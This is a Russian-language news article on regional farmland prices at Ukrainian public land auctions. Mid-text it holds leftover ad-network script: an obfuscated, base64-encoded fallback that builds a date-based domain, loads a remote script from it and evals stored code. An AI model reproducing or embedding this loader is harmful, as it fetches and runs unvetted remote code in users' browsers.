Стоимость земли, пригодной для сельскохозяйственного производства, в Украине существенно различается по регионам. Как и от чего зависит цена на землю, узнавали журналисты agronews.ua.
Сейчас землю, пригодную для сельскохозяйственного производства в Украине можно купить или взять в аренду через аукцион. Аукционы в Украине проводят на различных платформах, одна из самых массовых — setam.
Наиболее высокая цена на земельные участки в Киевской области. Так, в настоящее время на Сетам выставлены на продажу земли следующего назначения и цены.
Бориспольской район:
— под животноводческим комплексом площадью 11 га — по стартовой цене от 12 млн грн.
— без зданий, площадью 7 га — от 8 млн грн.
В Вышгородском районе стоимость 1 га земли может доходить до 4 млн грн. В то же время в отдаленных районах Киевщины стоимость земли на порядок, а то и в разы, ниже.
На юге Украины земля стоит намного дешевле, чем в столичном регионе. На Николаевщине земельный участок до 10 соток можно приобрести за несколько десятков тысяч грн. Самое дорогое предложение — участок площадью 12 га за 400 тыс грн. Вообще на юге стоимость земли существенно зависит от возможности организовать орошение, поэтому диапазон цен здесь — один из самых широких в Украине. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Но пока на аукционах выставлены преимущественно участки под садоводство или ведение приусадебного хозяйства. Владельцы крупных участков не спешат выставлять их на торги, придерживая землю в надежде на рост цены после полноценного введения в действие земельного рынка. Поэтому предложений участков, пригодных для агропроизводства, практически нет.
В западных регионах Украины земля стоит больше. Самое дорогое — на Львовщине. Там торги по приусадебный участок стартуют с 10 тыс. Грн / сотка. Также в западных регионах на торгах практически нет земельных участков площадью более 1 га.
Достаточно высокая цена на землю в Полтавской области. Особенно в цене участки большой площади. Стоимость земли, пригодной для агропроизводства здесь может доходить до 400 тыс грн за 1 га, участки для садоводства стоят на уровне 10 тыс. Грн / сотка. Но на Полтавщине цена земли существенно зависит от района и наличия инфраструктуры. Поэтому в маленьких отдаленных селах участок чернозема под садоводство можно приобрести по очень низкой цене.
А вот в соседней Харьковской области на стоимость земли влияют такие негативные факторы, как засушливость региона и близость к зоне ООС. Сейчас земельные участки под садоводство здесь выставляют на торги по цене от 3 тыс. грн до 20 тыс. грн за 1 сотку. Больших участков, пригодных для ведения агропроизводства, на Слобожанщине пока на торгах практически нет.
На севере Украины земли, пригодной для полноценного аграрного производства не так много, что влияет на ее стоимость. Особенно ценятся участки, расположенные в районах с хорошо развитой инфраструктурой и близко областного центра. Так, земля пригодна для сельскохозяйственного производства в пригородной зоне Луцка может стоить от 4 млн / га. В то же время, в отдаленных районах Волыни участок под садоводство или ведения приусадебного хозяйства можно приобрести за несколько десятков тысяч гривен.
В Винницкой области землю, пригодную для аграрного использования предлагают по цене от 150 тыс. грн / га. Для садоводства — от 10 тыс / сотка. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/v-ukraine-nazvali-stoimost-zemli-na-publichnyh-auktsionah/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
